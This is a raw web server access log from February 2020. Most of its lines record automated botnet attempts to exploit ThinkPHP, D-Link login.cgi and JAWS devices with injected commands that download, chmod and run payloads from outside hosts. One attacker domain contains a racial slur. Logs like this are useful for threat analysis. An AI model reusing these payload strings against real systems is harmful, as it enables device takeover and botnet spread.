46.55.168.50 - - [08/Feb/2020:03:01:08 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
148.71.44.68 - - [08/Feb/2020:03:04:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.222.35 - - [08/Feb/2020:03:05:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
128.14.133.58 - - [08/Feb/2020:03:07:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
1.54.88.231 - - [08/Feb/2020:03:07:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.114.127.226 - - [08/Feb/2020:03:08:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
37.151.86.159 - - [08/Feb/2020:03:08:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.91.75.106 - - [08/Feb/2020:03:09:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.23.17.205 - - [08/Feb/2020:03:12:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
169.197.108.38 - - [08/Feb/2020:03:12:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
157.55.39.44 - - [08/Feb/2020:03:12:55 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.39.195 - - [08/Feb/2020:03:13:00 +0100] "GET / HTTP/1.1" 304 - "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
42.112.136.253 - - [08/Feb/2020:03:13:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
169.197.108.42 - - [08/Feb/2020:03:17:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
37.156.140.46 - - [08/Feb/2020:03:20:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
42.118.253.80 - - [08/Feb/2020:03:20:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.133.81.180 - - [08/Feb/2020:03:22:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
79.101.127.98 - - [08/Feb/2020:03:23:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
151.243.26.95 - - [08/Feb/2020:03:23:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
154.95.234.90 - - [08/Feb/2020:03:24:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.68.246.198 - - [08/Feb/2020:03:29:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
114.40.112.37 - - [08/Feb/2020:03:32:44 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
183.80.89.92 - - [08/Feb/2020:03:32:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
59.7.155.141 - - [08/Feb/2020:03:33:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [08/Feb/2020:03:33:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [08/Feb/2020:03:33:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [08/Feb/2020:03:33:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
76.76.189.5 - - [08/Feb/2020:03:34:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
59.7.155.141 - - [08/Feb/2020:03:34:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.118.28.106 - - [08/Feb/2020:03:36:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
201.176.67.254 - - [08/Feb/2020:03:37:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.112.203.132 - - [08/Feb/2020:03:41:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
62.152.6.80 - - [08/Feb/2020:03:45:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
95.47.51.128 - - [08/Feb/2020:03:47:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
175.35.173.108 - - [08/Feb/2020:03:47:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
92.118.160.25 - - [08/Feb/2020:03:47:38 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
208.114.149.10 - - [08/Feb/2020:03:50:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.135.39.251 - - [08/Feb/2020:03:52:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
45.84.185.25 - - [08/Feb/2020:03:54:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
149.129.215.46 - - [08/Feb/2020:03:56:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
87.197.171.41 - - [08/Feb/2020:03:56:43 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
62.210.169.121 - - [08/Feb/2020:03:58:25 +0100] "GET http://45.76.45.209/ HTTP/1.1" 200 1229 "-" "Go-http-client/1.1"
109.117.198.174 - - [08/Feb/2020:04:00:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
197.232.79.68 - - [08/Feb/2020:04:02:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
121.87.249.194 - - [08/Feb/2020:04:04:33 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
112.121.223.253 - - [08/Feb/2020:04:06:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
39.108.70.175 - - [08/Feb/2020:04:07:13 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.108.70.175 - - [08/Feb/2020:04:07:13 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
121.164.35.72 - - [08/Feb/2020:04:09:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [08/Feb/2020:04:09:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [08/Feb/2020:04:09:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [08/Feb/2020:04:09:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [08/Feb/2020:04:10:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
185.70.129.24 - - [08/Feb/2020:04:11:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
39.113.197.251 - - [08/Feb/2020:04:11:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [08/Feb/2020:04:11:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [08/Feb/2020:04:12:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [08/Feb/2020:04:12:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [08/Feb/2020:04:12:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
49.68.246.198 - - [08/Feb/2020:04:16:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
113.22.67.131 - - [08/Feb/2020:04:18:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
169.0.170.120 - - [08/Feb/2020:04:18:09 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
1.222.215.100 - - [08/Feb/2020:04:21:45 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
103.40.200.150 - - [08/Feb/2020:04:22:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
183.80.215.201 - - [08/Feb/2020:04:23:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.134.189.37 - - [08/Feb/2020:04:24:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.106.171.78 - - [08/Feb/2020:04:24:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
179.53.92.94 - - [08/Feb/2020:04:26:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
202.9.123.156 - - [08/Feb/2020:04:28:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
58.186.135.231 - - [08/Feb/2020:04:32:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
34.67.90.103 - - [08/Feb/2020:04:32:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.228.252.139 - - [08/Feb/2020:04:32:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
188.130.149.65 - - [08/Feb/2020:04:33:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.20.15 - - [08/Feb/2020:04:34:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
47.91.106.100 - - [08/Feb/2020:04:35:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.22.226 - - [08/Feb/2020:04:43:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.130.21.230 - - [08/Feb/2020:04:43:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.251.15 - - [08/Feb/2020:04:44:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.228.252.139 - - [08/Feb/2020:04:46:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
116.92.226.106 - - [08/Feb/2020:04:50:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.236.10.107 - - [08/Feb/2020:04:52:17 +0100] "GET / HTTP/1.1" 200 1229 "http://www.prokommunal.de/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36; 360Spider"
84.241.1.105 - - [08/Feb/2020:04:53:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
93.148.249.77 - - [08/Feb/2020:04:54:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
118.68.116.119 - - [08/Feb/2020:04:54:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.108.225.59 - - [08/Feb/2020:04:55:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
91.149.160.10 - - [08/Feb/2020:04:58:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
190.214.14.162 - - [08/Feb/2020:05:00:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
94.182.29.115 - - [08/Feb/2020:05:01:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
1.52.179.191 - - [08/Feb/2020:05:01:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
138.122.140.14 - - [08/Feb/2020:05:05:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
86.207.174.72 - - [08/Feb/2020:05:06:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.113.229.132 - - [08/Feb/2020:05:07:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
179.53.92.94 - - [08/Feb/2020:05:08:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
91.203.193.47 - - [08/Feb/2020:05:17:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.207.168.206 - - [08/Feb/2020:05:17:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.21.96.247 - - [08/Feb/2020:05:20:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
184.167.140.242 - - [08/Feb/2020:05:20:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
194.126.181.47 - - [08/Feb/2020:05:21:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
36.232.163.8 - - [08/Feb/2020:05:22:05 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
103.116.84.129 - - [08/Feb/2020:05:25:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
117.22.144.235 - - [08/Feb/2020:05:28:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.147.254 - - [08/Feb/2020:05:29:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
87.3.32.140 - - [08/Feb/2020:05:29:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.117.166.9 - - [08/Feb/2020:05:30:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
